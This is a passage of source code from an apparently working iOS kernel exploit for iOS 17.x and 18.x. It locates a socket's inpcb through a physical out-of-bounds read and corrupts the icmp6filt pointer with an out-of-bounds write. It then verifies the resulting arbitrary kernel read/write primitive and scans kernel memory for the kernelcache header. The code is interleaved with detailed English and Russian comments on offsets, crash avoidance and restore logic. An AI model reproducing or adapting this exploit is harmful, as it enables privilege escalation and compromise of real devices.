static uint64_t probe_zone_read64(uint64_t where)
{
    // 1.3.2: the bucket chain is best-effort by design (unreadable bucket ->
    // keep the field span). A garbage hop must degrade to that fallback, never
    // to early_kread's FAILURE(0): pre-check the same range early_kread
    // enforces and let krw_zone_size.c's own plausibility checks refuse.
    if (!is_kaddr_valid(where)) return 0;
    return xpaci(early_kread64(where));
}

static uint64_t probe_zone_bucket_size(uint64_t pcb)
{
    // 0 = not verified for this iOS, or the chain did not read: the caller keeps
    // the field span (see the policy above). The chain itself (canonical-pointer
    // check per hop, aligned qword read, size-class check) lives in
    // kexploit/krw_zone_size.c so the host test compiles and drives the SAME
    // hops the engine runs - the krw_zone_write.c / probe_restore_policy.c
    // pattern. This wrapper is the only kernel-I/O half.
    if (off_zone_elem_size == 0 || pcb == 0) return 0;
    return krw_zone_bucket_for_pcb(pcb, off_inpcb_inp_pcbinfo, off_inpcbinfo_ipi_zone,
                                   off_zone_elem_size, probe_zone_read64);
}
// The window one object's writes are proved against. `fieldEnd` is the end of
// the last inpcb field the caller's writes touch, as this tree's offsets pin it.
static uint64_t probe_window_for_pcb(uint64_t pcb, uint64_t fieldEnd)
{
    uint64_t fieldSpan = krw_zone_window_for_field_end(fieldEnd);
    uint64_t bucket = probe_zone_bucket_size(pcb);
    uint64_t window = 0;

    krw_zone_window_verdict verdict =
        krw_zone_window_from_bucket(pcb, pcb + fieldSpan, bucket, &window);

    // One line per verdict SHAPE, not per write: the probe can issue ten of these
    // and the interesting fact is what the window became.
    static krw_zone_window_verdict loggedVerdict = (krw_zone_window_verdict)-1;
    if (verdict != loggedVerdict) {
        loggedVerdict = verdict;
        char bucketName[64];
        krw_bucket_size_name(bucket, bucketName, (unsigned long)sizeof(bucketName));
        if (verdict == KRW_WINDOW_REFUSE_BUCKET_SMALLER) {
            KPRINTF("[STAGED] zone window: pcb %#llx REFUSED — the zone says this allocation is %s "
                    "but the field table needs %#llx bytes, so no block is provably inside the "
                    "object; every write through this window is refused\n",
                    pcb, bucketName, fieldSpan);
        } else {
            KPRINTF("[STAGED] zone window: pcb %#llx zone bucket %s (qword %#llx) vs field span %#llx "
                    "-> declaring %#llx bytes (%s)\n",
                    pcb, bucketName, bucket, fieldSpan, window,
                    krw_zone_window_verdict_name(verdict));
        }
    }
    return window;
}

static uint64_t probe_inpcb_window_size(void)
{
    return probe_window_for_pcb(xpaci(rwSocketPcb),
                                (uint64_t)g_test_filt_offset + 2 * sizeof(uint64_t));
}

// The same window for a pcb the caller already has (the leak walk's inpcb, which
// is not rwSocketPcb) when only the offsets table's own inp6_cksum field is
// touched.
static uint64_t probe_inpcb_window_size_for_pcb(uint64_t pcb)
{
    return probe_window_for_pcb(pcb,
                                (uint64_t)off_inpcb_inp_depend6_inp6_chksum + sizeof(uint64_t));
}

// Write one qword into the (corrupted) inpcb, clamped. Returns true only when
// the block was actually emitted; a refusal is logged with its reason and is
// never counted as a write.
static bool probe_kwrite_inpcb_qword(uint64_t dst, uint64_t value, const char *what)
{
    uint64_t pcb = xpaci(rwSocketPcb);
    uint64_t windowSize = probe_inpcb_window_size();
    if (windowSize == 0) {
        KPRINTF("[STAGED] %s: no window — the zone and the field table disagree for pcb %#llx; "
                "nothing was written for it\n", what, pcb);
        return false;
    }
    krw_zone_verdict verdict = kwrite_zone_element_qword(dst, value, pcb, windowSize);
    if (verdict != KRW_ZONE_OK) {
        KPRINTF("[STAGED] %s: REFUSED by the zone writer (verdict %d) — the 32-byte block for "
                "pcb %#llx + %#llx is not provably inside the inpcb window [%#llx, %#llx) this tree "
                "can prove; nothing was written for it\n",
                what, (int)verdict, pcb, (uint64_t)(dst - pcb), pcb, pcb + windowSize);
        return false;
    }
    return true;
}

// The probe itself. It never restores on its own: EVERY return that is not the
// krw-primitive promotion goes back through the wrapper below, which calls the
// shared restore helper — so no exit can forget (BUG.1).

// 1.7.0: upstream helper (ClearSword utils.c:12) — finds the LAST occurrence
// of needle in haystack, i.e. walks backwards from the needle end.
static void *reverse_memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len) {
    if (needle_len == 0) return (void *)haystack;
    if (haystack_len < needle_len) return NULL;
    const char *h = (const char *)haystack;
    const char *n = (const char *)needle;
    for (size_t i = haystack_len - needle_len + 1; i-- > 0;) {
        if (memcmp(h + i, n, needle_len) == 0) {
            return (void *)(h + i);
        }
    }
    return NULL;
}

static int find_and_corrupt_socket_probe(mach_port_t memoryObject, mach_vm_offset_t seekingOffset, void *readBuffer, void *writeBuffer, NSMutableArray *targetInpGencntList, bool doRead) {
    if (doRead) {
        physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
    }

    int searchStartIdx = 0;
    bool targetFound = false;
    uint64_t pcbStartOffset = 0;
    uint64_t filtOffset = 0;
    uint64_t gencntOffset = 0;
    void *found = NULL;
    // 17.1 vs 18.x+ layout uncertainty (2026-08-31, kernelcache-verified chain):
    // the icmp6filt field sits at 0x150 on 17.x (KDK) but 0x148 on 18.4-18.7
    // (original pe_main.js) — the inpcb gained 8 bytes between 17.x and 18.x.
    // The qword at filt+8 is the strong fingerprint: in6p_cksum = -1
    // (0xffffffff) followed by in6p_hops = -1 (0xffff) → 0x0000ffffffffffff.
    // inp_gencnt position depends on lck_mtx_t size (0x68/0x70/0x78 across
    // mtx 8/16/24) — pick the offset whose value matches OUR socket's gencnt.
    // 1.7.0: upstream detection (ClearSword socket.c:105-122) — reverse_memmem
    // backwards from the executable name to the filt+8 marker, then the pcb
    // base is filter_offset - (filt + 8). Rounding down to a 0x400 boundary
    // (what this replaces) only finds inpcbs whose base happens to sit on one
    // — at a zone element stride of 0x1c0/0x200 that throws away most live
    // PCBs, which is exactly how the winrate collapsed.
    static const uint64_t kFiltCandidates[] = { 0x148, 0x150 };
    static const uint64_t kGencntCandidates[] = { 0x70, 0x68, 0x78 };
    static const uint64_t kFiltMarker = 0x0000ffffffffffffULL;
    do {
        found = memmem(readBuffer + searchStartIdx, OOB_SIZE - searchStartIdx, executableName, strlen(executableName));
        if (found) {
            uint64_t foundOffset = (uint64_t)found - (uint64_t)readBuffer;
            void *filterFound = reverse_memmem(found, foundOffset, &kFiltMarker, sizeof(kFiltMarker));
            if (filterFound) {
                uint64_t filterOffset = (uint64_t)filterFound - (uint64_t)readBuffer;
                for (int fi = 0; fi < 2 && !targetFound; fi++) {
                    uint64_t f = kFiltCandidates[fi];
                    if (filterOffset < f + 8) continue;
                    uint64_t candBase = filterOffset - (f + 8);
                    for (int gi = 0; gi < 3 && !targetFound; gi++) {
                        uint64_t g = kGencntCandidates[gi];
                        uint64_t gc =
                            *(uint64_t *)((uintptr_t)readBuffer + candBase + g);
                        if (gc == socketPcbIds.lastObject.unsignedLongLongValue ||
                            [socketPcbIds containsObject:@(gc)]) {
                            pcbStartOffset = candBase;
                            filtOffset = f;
                            gencntOffset = g;
                            targetFound = true;
                        }
                    }
                }
            }
        }
        searchStartIdx += 0x400;
    } while (found != NULL && searchStartIdx < OOB_SIZE);

    if (targetFound) {
        KPRINTF("[+] pcbStartOffset: %#llx (filt=%#llx gencnt=%#llx)\n",
                pcbStartOffset, filtOffset, gencntOffset);
        uint64_t targetInpGencnt =
            *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + gencntOffset);
        KPRINTF("[+] targetInpGencnt: %#llx\n", targetInpGencnt);
        if (targetInpGencnt == socketPcbIds.lastObject.unsignedLongLongValue) {
            printf("[-] Found last PCB\n");
            return -1;
        }
        bool isOurPcd = false;
        int controlSocketIdx = 0;
        for (int sockIdx = 0; sockIdx < socketPorts.count; sockIdx++) {
            if (socketPcbIds[sockIdx].unsignedLongLongValue ==
                targetInpGencnt) {
                isOurPcd = true;
                controlSocketIdx = sockIdx;
                break;
            }
        }
        if (!isOurPcd) {
            printf("[-] Found freed PCB Page!\n");
            return -1;
        }
        if ([targetInpGencntList containsObject:@(targetInpGencnt)]) {
            printf("[-] Found old PCB Page!!!!\n");
            return -1;
        } else {
            [targetInpGencntList addObject:@(targetInpGencnt)];
        }
        // BUG.1 step 2 (2026-09-11): this read used a hardcoded 0x28 - the qword
        // AFTER inp_list.le_next, i.e. le_prev - and then subtracted 0x20, so
        // the "next socket" it produced was never the next inpcb. Everything
        // downstream follows that pointer: the alias target the krw primitive is
        // installed through, the promotion round trip, and the restore (which
        // wrote its saved values through the same bogus address, exactly the
        // class of write that panicked this device). The strict value round trip
        // added in step 2 is what exposed it: the old "getsockopt != -1" verdict
        // passed on a garbage pointer, so the drift stayed invisible. The two
        // other list walks in this file (lines ~1341, ~2052) have always used the
        // offsets table, so this one does too now.
        uint64_t inpListNextPointer = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_list_le_next) - off_inpcb_inp_list_le_next;
        // le_next links the FIELD, not the object, hence the subtraction above;
        // a canonical kernel pointer is the least a candidate must satisfy
        // before anything is corrupted on the strength of it.
        if ((inpListNextPointer & 0xffff000000000000ULL) != 0xffff000000000000ULL) {
            KPRINTF("[-] PCB candidate rejected: list link %#llx is not a kernel pointer (le_next off=%#x) - not corrupting anything\n",
                    inpListNextPointer, off_inpcb_inp_list_le_next);
            return -1;
        }
        uint64_t icmp6Filter = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt);
        KPRINTF("[+] inpListNextPointer: %#llx\n", inpListNextPointer);
        KPRINTF("[+] icmp6Filter: %#llx\n", icmp6Filter);
        rwSocketPcb = inpListNextPointer;

        if (wolf_test_mode == 1) {
            // READ-ONLY validation stop: the PCB layout + filt/gencnt offsets
            // are confirmed — stop BEFORE any corruption write. Nothing in the
            // kernel has been modified up to this point.
            g_test_filt_offset = filtOffset;
            KPRINTF("[TEST] READONLY: PCB layout validated on-device (filt=%#llx gencnt=%#llx pcb=%#llx) — skipping corruption\n",
                    filtOffset, gencntOffset, inpListNextPointer);
            return -2;
        }
        if (wolf_test_mode == 0) {
            // STAGED auto mode (release default): stage 1/2 PASS — the
            // on-device layout check above confirmed filt/gencnt/pcb without a
            // single kernel write. Fall through into the (restorable)
            // corruption; anything that fails after this point restores the
            // socket and stops with a final verdict instead of retrying.
            KPRINTF("[STAGED] stage 1/2 pass — readonly layout validated on-device (filt=%#llx gencnt=%#llx), kernel writes measured so far: %llu (BUG.5); corrupting single socket\n",
                    filtOffset, gencntOffset, kwrite_count_total());
        }

        // Save the ORIGINAL filt pointer + neighbor qword (write-test restore)
        g_test_filt_offset = filtOffset;
        g_test_filt_orig  = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + filtOffset);
        g_test_filt8_orig = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + filtOffset + 8);
        // From here on a restore is meaningful (BUG.1): mark it so the exit
        // funnel writes these values back through every path that leaves the
        // probe without promoting the corruption to the krw primitive. Nothing
        // before this line can leave a modified inpcb behind, which is why the
        // not-saved exits (incl. mode-1 readonly) are no-ops in the helper.
        g_probe_saved = true;
        g_probe_control_idx = controlSocketIdx;
        // BUG.1 step 1: a new corruption generation. Any fds opened for an
        // earlier save no longer count as "live for this one" (see
        // probe_fds_are_live_for), which is what keeps the restore from writing
        // through a socket whose corruption was already put back.
        g_probe_save_gen++;
        // Also the OOB read context (mapping + offset + page) so the write-test
        // can verify the restore with a fresh OOB read after the krw probe.
        g_test_mo = memoryObject;
        g_test_seek = seekingOffset;
        g_test_pcb_off = pcbStartOffset;
        // PEV1-CLEANUP: remember which inpcb this save belongs to (gencnt), so
        // the restore can refuse a window that has moved on since the strike.
        g_test_target_gencnt = targetInpGencnt;
        g_test_gencnt_offset = gencntOffset;
        // ------------------------------------------------------------------
        // BUG.1 step 2 (2026-09-11 device day): THE WRITE PROBE NO LONGER
        // TARGETS THE icmp6filt FIELD.
        //
        // It used to write the alias pointer into inp_depend6.inp6_icmp6filt and
        // then confirm it by reading 32 bytes back through that fresh pointer.
        // The filt field is not a probe field: the kernel dereferences it on the
        // next packet or socket operation on that socket, so a wrong value is
        // fatal (SG.8/SG.9: zone bound check, W0lfTerm panicked) instead of
        // detectable.
        //
        // The probe now targets inp_depend6.inp6_chksum, the qword at filt+8
        // (offsets.m off_inpcb_inp_depend6_inp6_chksum, "(lldb) p/x
        // offsetof(inpcb, inp_depend6.inp6_cksum)"). Why it is inert enough to
        // probe with, on this tree's own evidence and nothing else:
        //   - it is DATA, not an address. The stage-1/2 fingerprint above
        //     requires the live qword at that offset to be 0x0000ffffffffffff
        //     (in6p_cksum == -1, in6p_hops == 0xffff) and it passes on device
        //     (SG.9 log, "stage 1/2 pass ... filt=0x148"), and that value is not
        //     a kernel VA at all - VM_MIN_KERNEL_ADDRESS is 0xFFFFFFDC00000000
        //     (offsets.m) - so the kernel reads this field, it does not follow
        //     it. Writing a number there cannot make the kernel dereference our
        //     value, which is the entire difference to the filt pointer;
        //   - nothing consumes the number either: there is no send(), sendto(),
        //     recv() or recvfrom() anywhere in kexploit/, terminal/ or utils/,
        //     so the sprayed sockets never put a packet on the wire;
        //   - the chain already writes this exact field
        //     (krw_sockets_leak_forever, which zeroes it through the same
        //     clamped qword writer since BUG.1 step 3b), so the probe is not a
        //     new class of write;
        //   - the marker replaces the low 32 bits only (in6p_cksum); in6p_hops
        //     and the padding are copied from the saved qword, and the read-back
        //     compares the WHOLE qword, so "wrong value" is DETECTED as a
        //     mismatch. Worst case if a marker is ever left behind: one scalar on
        //     a socket that never sends.
        // so_usecount was the other candidate and is rejected on the same kind of
        // evidence: this tree treats it as a refcount (offsets.m
        // off_socket_so_usecount; the chain's own leak trick bumps it by
        // 0x0000100100001001 in krw_sockets_leak_forever), and a refcount is not
        // a free-to-write scalar - its value decides whether the socket goes
        // away, so a wrong delta is not a wrong number.
        //
        // What the probe now PROVES: the physical OOB write really lands on this
        // page and is repeatable, before a single POINTER is written into a live
        // inpcb — the first mutation of a live object is a scalar whose failure
        // mode is a value mismatch, not a kernel fault on a field the kernel
        // will walk later.
        // 1.7.0: the chksum probe campaign is gone from the hot path. Upstream
        // writes the page exactly ONCE (the alias write); we ran up to three
        // full write campaigns (chksum probe, alias, re-alias) — 0xf00 onto a
        // physical page per campaign, each a fresh roll of the zone/aperture
        // panic dice.
        //
        // 1.8.2: pre-write re-verify. Re-read the OOB window immediately before
        // the alias write and require the fingerprint (our gencnt + the filt+8
        // marker) to still be there. The aperture/SPTM panic class is exactly
        // "the page moved between the scan read and this write" — a page that
        // no longer shows our PCB gets no write at all. The read-back buffer is
        // also refreshed, so the writeback base is the newest snapshot.
        {
            uint8_t fresh[OOB_SIZE];
            memset(fresh, 0, sizeof(fresh));
            physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, fresh);
            uint64_t freshGencnt = *(uint64_t *)((uintptr_t)fresh + pcbStartOffset + gencntOffset);
            uint64_t freshMark   = *(uint64_t *)((uintptr_t)fresh + pcbStartOffset + filtOffset + 8);
            if (freshGencnt != targetInpGencnt || freshMark != 0x0000ffffffffffffULL) {
                KPRINTF("[-] pre-write re-verify: окно уехало (gencnt %#llx→%#llx, marker %#llx) — запись отменена, окно не тронуто\n",
                        (unsigned long long)targetInpGencnt, (unsigned long long)freshGencnt,
                        (unsigned long long)freshMark);
                return -1;   // nothing was written — clean skip, no restore needed
            }
            memcpy(readBuffer, fresh, OOB_SIZE);
        }
        memcpy(writeBuffer, readBuffer, OOB_SIZE);
        *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + filtOffset) = inpListNextPointer + filtOffset;
        *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + filtOffset + 8) = 0;

        printf("[+] Corrupting icmp6filter pointer...\n");
        int aliasRc = probe_page_write_verify(memoryObject, seekingOffset, readBuffer, writeBuffer,
                                             pcbStartOffset + filtOffset,
                                             inpListNextPointer + filtOffset,
                                             "alias write (icmp6filt)");
        if (aliasRc == -7) {
            return -7;   // BUG.1: the wrapper restores before pe_v1 sees this
        }
        if (aliasRc != 1) {
            printf("[-] Failed to corrupt icmp6 filter after %d attempts\n", PROBE_WRITE_MAX_TRIES);
            // BUG.1: no read-back ever confirmed the write, but it may have
            // landed anyway (a failed verify does not undo the kernel write) —
            // the exit funnel puts the saved values back through the same fds
            // the success path uses, instead of walking away from a
            // possibly-corrupted live inpcb (the 2026-09-11 SE panic).
            FAILURE_V(0, KERN_FAILURE);
        }

        // 1.4.0: proc_info on this kernel returns opaque handles (pointer
        // scrubbing) — the window is the only honest source of inpcb VAs.
        // Accept BOTH list directions as the alias target. Same-page geometry:
        // VA(window byte i) = impliedBase + i, impliedBase = control_pcb -
        // pcbStartOffset, and control_pcb = le_next(anchor), so for either
        // neighbor the slot is found by  le_next(off) - pcbStartOffset + off
        // == anchorVA.  NEWER neighbor: anchorVA = le_prev(control)-0x20.
        // OLDER neighbor: anchorVA = le_next(control). gencnt names the port.
        g_probe_rw_idx_hint = -1;
        {
            uint64_t controlLeNext = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_list_le_next);
            uint64_t controlLePrev = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_list_le_next + 8);
            for (int pass = 0; pass < 2 && g_probe_rw_idx_hint < 0; pass++) {
                uint64_t anchorVA = (pass == 0) ? (controlLePrev - 0x20) : controlLeNext;
                const char *dir = (pass == 0) ? "newer" : "older";
                if ((anchorVA & 0xffff000000000000ULL) != 0xffff000000000000ULL || (anchorVA & 0xf) != 0) continue;
                for (uint64_t off = 0; off + 0x40 <= OOB_SIZE; off += 0x10) {
                    if (off == pcbStartOffset) continue;
                    uint64_t vNext = *(uint64_t *)((uintptr_t)readBuffer + off + off_inpcb_inp_list_le_next);
                    if ((vNext & 0xffff000000000000ULL) != 0xffff000000000000ULL) continue;
                    if (vNext - pcbStartOffset + off != anchorVA) continue;
                    uint64_t g = *(uint64_t *)((uintptr_t)readBuffer + off + gencntOffset);
                    NSUInteger pi = [socketPcbIds indexOfObject:@(g)];
                    if (pi == NSNotFound || (int)pi == controlSocketIdx) continue;
                    // 1.7.1: re-strike is BACK, but still a single write and
                    // only onto a neighbor the window geometry actually proved
                    // (proc_info scrubbing on 18.6 means le_prev-based anchors
                    // routinely point at dead slots — the run without this
                    // never promoted: alias verified, selftest read all-ones).
                    if (anchorVA != inpListNextPointer) {
                        memcpy(writeBuffer, readBuffer, OOB_SIZE);
                        *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + filtOffset) = anchorVA + filtOffset;
                        *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + filtOffset + 8) = 0;
                        int reRc = probe_page_write_verify(memoryObject, seekingOffset, readBuffer, writeBuffer,
                                                           pcbStartOffset + filtOffset, anchorVA + filtOffset,
                                                           "re-alias (neighbor)");
                        KPRINTF("[STAGED] re-alias на %s якорь %#llx: %s\n", dir,
                                (unsigned long long)(anchorVA + filtOffset), reRc == 1 ? "verified" : "FAILED");
                        if (reRc != 1) {
                            g_probe_rw_idx_hint = -1;
                            break;
                        }
                    }
                    g_probe_rw_idx_hint = (int)pi;
                    rwSocketPcb = anchorVA;
                    KPRINTF("[+] probe: rw в окне @+%#llx (gencnt=%#llx → порт #%d, %s якорь) — бинд по окну\n",
                            off, g, (int)pi, dir);
                    break;
                }
            }
            if (g_probe_rw_idx_hint < 0) {
                KPRINTF("[-] probe: соседи control вне окна или чужие — пропуск окна\n");
            }
        }

        // 1.3.5b self-test, BEFORE any fd binding: read THROUGH the alias using
        // THIS window's control fd — the kernel copies 32 bytes from
        // control.icmp6filt = rw_pcb+filt, i.e. we must see rw's real filt
        // pointer (the value the window showed). All-ones/error here means the
        // post-alias primitive itself is dead — no fd binding can fix that.
        {
            int selfFd = fileport_makefd((fileport_t)socketPorts[controlSocketIdx].unsignedLongLongValue);
            if (selfFd > 0) {
                uint8_t selfBuf[0x20];
                memset(selfBuf, 0, sizeof(selfBuf));
                socklen_t selfLen = sizeof(selfBuf);
                int selfRc = getsockopt(selfFd, IPPROTO_ICMPV6, ICMP6_FILTER, selfBuf, &selfLen);
                uint64_t selfGot = *(uint64_t *)selfBuf;
                KPRINTF("[probe] selftest: getsockopt(control fd=%d) через алиас → res=%d len=%u qword0=%#llx (в окне icmp6Filter был %#llx)\n",
                        selfFd, selfRc, (unsigned)selfLen, (unsigned long long)selfGot, (unsigned long long)icmp6Filter);
                close(selfFd);
                // 1.4.9: the selftest IS the health gate — a neighbor whose filt
                // field reads all-ones/null/garbage is a recycled or non-inpcb
                // slot; the geometry's list relation passed it anyway. Refusing
                // here skips the doomed round trip and the pair churn with it.
                if (selfRc != 0 ||
                    (selfGot & 0xffff000000000000ULL) != 0xffff000000000000ULL ||
                    (selfGot & 0xf) != 0) {
                    KPRINTF("[probe] selftest ОТКАЗ: якорь нездоров (rc=%d filt=%#llx) — окно пропущено, restore\n",
                            selfRc, (unsigned long long)selfGot);
                    return -1;   // the exit funnel restores the strikes
                }
            }
        }

        open_probe_socket_fds(controlSocketIdx);
        if (!probe_fds_are_live_for(controlSocketIdx)) {
            KPRINTF("[STAGED] probe: the krw sockets are not live (control=%d rw=%d, idx=%d) — cannot prove the primitive, restoring\n",
                    controlSocket, rwSocket, controlSocketIdx);
            return -1;   // BUG.1: the exit funnel restores before pe_v1 sees this
        }

        // ------------------------------------------------------------------
        // BUG.1 step 2: THE PROMOTION VERDICT IS A VALUE ROUND TRIP ON THE SAME
        // INERT FIELD, NOT A READ OF THE 32 BYTES THE FRESH POINTER ADDRESSES.
        //
        // KP 1.3.0 (T8122/18.6): the round trip targets CONTROL's inp6_chksum,
        // not RW's. Every set_target_kaddr() retargets by writing 32 bytes
        // through control.filt, which lands on rw_pcb+filtOffset and ZEROES
        // rw's chksum/hops tail (+0x150..+0x168) on EVERY call — so a fresh
        // read of rw+0x150 always returns the just-stomped 0, never the stock
        // qword, and the upstream rw-side round trip can never pass on this
        // build (measured on iPhone16,1/18.6; KexProof 1.2.0's rw_filt_tail
        // work documented the stomp). CONTROL's tail is not in the stomp
        // path, and the alias write zeroed control+0x150 by design:
        //   1. the alias reaches a LIVE, OURS inpcb field: control+0x150 must
        //      read back as exactly 0 — the value the strike itself put there;
        //      a dead alias, stale page or wrong inpcb reads differently and
        //      stops here instead of promoting;
        //   2. kernel WRITE works: the marker comes back exactly as written;
        //   3. the probe cleans up after itself: the 0 is written back through
        //      the primitive and re-read — the one restore here that does not
        //      depend on the OOB race.
        // control_pcb comes from rw.le_prev — the address of the list pointer
        // that points at rw, i.e. control's le_next field (le_prev sits one
        // qword past le_next) — one read through the already-live primitive,
        // no racy window involved.
        // ------------------------------------------------------------------
        // 1.4.0: control_pcb is simply le_next(rw) — rw's forward list pointer
        // addresses control directly. The le_prev(rw)-0x28 derivation read a
        // stranger's pointer (why "no sane control pcb" dominated the log).
        uint64_t controlPcb = xpaci(early_kread64(xpaci(rwSocketPcb) + off_inpcb_inp_list_le_next));
        if (controlPcb == 0 || (controlPcb & 0xf) != 0 ||
            (controlPcb & 0xffff000000000000ULL) != 0xffff000000000000ULL) {
            KPRINTF("[STAGED] probe: le_next(rw)=%#llx не похож на control pcb — refusing to promote and restoring\n",
                    controlPcb);
            return -1;   // BUG.1: the exit funnel restores before pe_v1 sees this
        }
        uint64_t controlWindow = probe_inpcb_window_size_for_pcb(controlPcb);
        const uint64_t chksumFieldOff = filtOffset + 8;   // == inpcb +inp6_chksum
        uint64_t chksumAddr = controlPcb + chksumFieldOff;
        // 1.3.2: even a range-shaped controlPcb can be outside the enforced
        // kernel-VA band; early_kread64 dies loudly on that, so pre-check and
        // take the ordinary refuse-restore path instead.
        if (!is_kaddr_valid(chksumAddr)) {
            KPRINTF("[STAGED] probe: chksumAddr %#llx вне kernel VA — пропуск окна, restore\n", chksumAddr);
            return -1;
        }
        uint64_t chksumBefore = early_kread64(chksumAddr);
        if (chksumBefore != 0) {   // the alias write put 0 at control+chksum by design
            KPRINTF("[STAGED] probe: control inp6_chksum at %#llx reads %#llx, expected 0 (the strike's own write) — the alias does not reach the inpcb we corrupted, refusing to promote and restoring\n",
                    chksumAddr, chksumBefore);
            return -1;   // BUG.1: the exit funnel restores before pe_v1 sees this
        }
        const uint64_t chksumMarker = 0x4141414141414141ULL;
        // The marker write AND its put-back go through the clamped qword
        // writer against CONTROL's window, so a block that is not provably
        // inside the inpcb allocation is refused (the helper logs the reason)
        // instead of written unproven.
        bool markerWrote = (controlWindow != 0) &&
            (kwrite_zone_element_qword(chksumAddr, chksumMarker,
                                       controlPcb, controlWindow) == KRW_ZONE_OK);
        uint64_t chksumBack = markerWrote ? early_kread64(chksumAddr) : 0;
        bool markerRestored = markerWrote &&
            (kwrite_zone_element_qword(chksumAddr, chksumBefore,
                                       controlPcb, controlWindow) == KRW_ZONE_OK);
        uint64_t chksumAfter = markerRestored ? early_kread64(chksumAddr) : 0;
        bool chksumProbeOk = (markerWrote && markerRestored &&
                              chksumBack == chksumMarker && chksumAfter == chksumBefore);
        KPRINTF("[STAGED] probe (control inp6_chksum at pcb+%#llx = %#llx): read %#llx, wrote %#llx, read back %#llx, restored %#llx — krw write+read %s (control-side, clamped)\n",
                chksumFieldOff, chksumAddr, chksumBefore, chksumMarker, chksumBack,
                chksumAfter, chksumProbeOk ? "verified" : "FAILED");

        if (!chksumProbeOk) {
            return -1;   // BUG.1: the exit funnel restores before pe_v1 sees this
        }

        printf("[+] Found control_socket at idx: %u\n", controlSocketIdx);
        // PEV1-CLEANUP: remember CONTROL's inpcb VA (the same controlPcb the
        // chksum round-trip just wrote through). The restore helper must put
        // the saved icmp6filt values back into THIS object - not into the rw
        // neighbour - so the socket is stock again before any soclose.
        g_probe_control_pcb = controlPcb;
        // The ONE exit that deliberately does NOT restore (BUG.1): the
        // corrupted socket IS the kernel R/W primitive. controlSocket /
        // rwSocket are handed to pe_v1's caller and used for early_kread /
        // early_kwrite64 from here on; putting the filt pointer back would
        // (a) end the primitive, and (b) make the next set_target_kaddr
        // write our target address into the socket's real icmp6 filter
        // instead. Every other exit goes through the restore funnel.
        KPRINTF("[STAGED] probe promoted: icmp6filt corruption KEPT (idx=%d), proven by an inp6_chksum round trip — this socket IS the krw primitive; restore is owned by the caller (run_write_test / staged stage-2 failure path / kexploit_disarm_for_close)\n",
                controlSocketIdx);
        return KERN_SUCCESS;
    }
    return -1;
}

// BUG.1: the ONE funnel out of the probe. Every return that is not the
// krw-primitive promotion restores the saved icmp6filt values through the
// shared helper — the inert-field probe never landing (and its own write-back),
// the alias write not being confirmed, the krw sockets not being live, the
// inp6_chksum expectation mismatch, the inp6_chksum round-trip failure, the
// cancel/budget -7, the early "not our PCB" returns, and any return added later.
// The helper is a SILENT no-op when nothing was saved (see g_probe_saved), so
// the per-page walk stays quiet and the mode-1 readonly path remains write-free.
int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOffset, void *readBuffer, void *writeBuffer, NSMutableArray *targetInpGencntList, bool doRead) {
    // Only the values saved by THIS call may be written back: a stale save from
    // an earlier page/attempt points at an inpcb that may since have been
    // released and its kalloc.96 slot reused, so restoring it blindly would
    // corrupt an unrelated object. The probe's own save site re-arms the flag.
    g_probe_saved = false;
    g_probe_control_idx = -1;
    int rc = find_and_corrupt_socket_probe(memoryObject, seekingOffset, readBuffer,
                                           writeBuffer, targetInpGencntList, doRead);
    // BUG.1 step 1: the decision itself lives in probe_restore_policy.c (the
    // same object the engine and the host test compile), and it hands the socket
    // over ONLY for the promotion - every other code, including one this policy
    // has never seen, restores. Enumerating exits here is how the original code
    // lost one; a default of "restore" cannot.
    if (probe_exit_action_for(rc) == PROBE_ACTION_RESTORE) {
        restore_corrupted_socket();
    }
    return rc;
}

bool isA18Device = false;

static cpu_subtype_t get_hw_cpufamily(void) {
    cpu_subtype_t cpuFamily = 0;
    size_t cpuFamilySize = sizeof(cpuFamily);
    sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0);
    return cpuFamily;
}

// A6.14: write-test (wolf_test_mode == 2). The socket is corrupted and the krw
// primitive is live. Probe with bounded kernel READS (the zv_name chain + the
// base-scan magic walk), then RESTORE the original icmp6filt pointer and its
// neighbor qword, and verify with a fresh OOB read. After this returns the
// socket is stock again — the device is left exactly as it was found.
static int run_write_test(void) {
    uint64_t cpcb = xpaci(early_kread64(xpaci(rwSocketPcb) + off_inpcb_inp_list_le_next));
    uint64_t pcbinfo = xpaci(early_kread64(cpcb + off_inpcb_inp_pcbinfo));
    uint64_t zone = xpaci(early_kread64(pcbinfo + off_inpcbinfo_ipi_zone));
    uint64_t zv = xpaci(early_kread64(zone + off_kalloc_type_view_kt_zv_zv_name));
    KPRINTF("[TEST] WRITETEST krw read chain: cpcb=%#llx pcbinfo=%#llx zone=%#llx zv_name=%#llx\n",
            cpcb, pcbinfo, zone, zv);
    bool chainOk = (cpcb != 0 && pcbinfo != 0 && zone != 0 && zv != 0);

    // BUG.7: the bucket the inpcb was allocated from - the value the write clamp
    // now declares as its window (probe_window_for_pcb). This is the same
    // pcbinfo -> ipi_zone -> z_elem_size chain the probe uses, so a device log
    // shows whether the zone read works before any write is attempted.
    char writetestBucket[64];
    krw_bucket_size_name(probe_zone_bucket_size(xpaci(rwSocketPcb)), writetestBucket,
                         (unsigned long)sizeof(writetestBucket));
    KPRINTF("[TEST] WRITETEST zone bucket: %s (z_elem_size off=%#x)\n",
            writetestBucket, off_zone_elem_size);

    uint64_t base = zv & 0xFFFFFFFFFFFFC000;
    int iters = 0;
    bool magicOk = false;
    for (; iters < 0x20000; iters++) {   // bounded 512MB walk — reads only
        if (early_kread64(base) == 0x100000cfeedfacf &&
            early_kread64(base + 8) == 0xCC0000002ULL) {
            magicOk = true;
            break;
